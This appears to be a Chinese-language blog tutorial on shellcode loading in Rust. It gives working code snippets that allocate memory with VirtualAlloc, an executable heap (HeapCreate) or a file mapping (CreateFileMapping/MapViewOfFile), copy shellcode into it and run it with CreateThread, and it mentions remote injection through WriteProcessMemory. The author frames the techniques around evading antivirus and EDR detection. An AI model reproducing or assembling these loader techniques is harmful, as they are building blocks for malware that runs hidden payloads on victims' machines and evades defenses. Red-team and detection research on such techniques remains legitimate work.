shellcode 在执行之前一般会涉及到内存空间的分配,这里简单列举了一些常见的分配方法。(虽然都已经被 EDR hook 了XD )
VirtualAlloc/VirtualAllocEx
最常用的一种方法,使用 VirtualAlloc
在当前进程中开一块虚拟内存,并设置权限。然后可以直接用 Rust 的 std::ptr::copy
去复制 shellcode。VirtualProtect
则用来更改内存段的权限。
// allocate RW memory for shellcode
let base_addr = VirtualAlloc(
ptr::null_mut(),
shellcode_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
);
check!(!base_addr.is_null());
// copy shellcode to RW memory
std::ptr::copy(shellcode.as_ptr(), base_addr.cast(), shellcode_size);
// change memory protection to RX
let mut old = PAGE_READWRITE;
let res = VirtualProtect(base_addr, shellcode_size, PAGE_EXECUTE, &mut old);
check!(res != FALSE);
对于远程进程来说,需要使用 VirtualAllocEx
并传入目标进程的 handler,然后使用 WriteProcessMemory
将 shellcode 填入目标内存段中。
这个方法是最常用的,但是由于 WriteProcessMemory
在正常程序中很难出现,因此会引起 AV 很大的关注 :P
使用 VirtualAlloc
进行 CreateThread
注入:
HeapAlloc
也可以使用堆来分配 shellcode 空间,因为能够在创建堆的时候传入 HEAP_CREATE_ENABLE_EXECUTE
,即能够执行堆中的代码。
// create and alloc heap space
let heap_handler = HeapCreate(
HEAP_CREATE_ENABLE_EXECUTE,
0,
0
);
let heap_address = HeapAlloc(
heap_handler,
0,
0x100000
);
std::ptr::copy(shellcode.as_ptr(), heap_address.cast(), shellcode_size);
heap api 静态 bypass 的结果很好看,不过执行这么看内存段便是可疑的 RWX。
CreateFileMapping
内存映射文件就是申请一个区域的地址空间,把位于磁盘上的文件全部或部分映射到该内存地址空间上,而不是常规的文件读写方式: 将文件加载到内存中,再分配内存给该地址空间。
- 使用
CreateFileMappingA
创建映射文件 handler - 使用
MapViewOfFile
获取地址 - 复制 shellcode 到目标地址
- 执行 shellcode
let h_mapping = CreateFileMappingA(
INVALID_HANDLE_VALUE,
null_mut(),
PAGE_EXECUTE_READWRITE,
0,
shellcode_size as u32,
null_mut());
let mapping_address = MapViewOfFile(
h_mapping,
FILE_MAP_EXECUTE | FILE_MAP_READ | FILE_MAP_WRITE,
0,
0,
0
);
std::ptr::copy(shellcode.as_ptr(), mapping_address.Value.cast(), shellcode_size);
// // create thread to execute shellcode
let ep = transmute(mapping_address.Value);
let mut tid = 0;
let thread = CreateThread(
null_mut(),
0,
Some(ep),
null_mut(),
0,
&mut tid
);
WaitForSingleObject(thread, INFINITE);
UnmapViewOfFile(mapping_address);
CloseHandle(h_mapping);
CloseHandle(thread);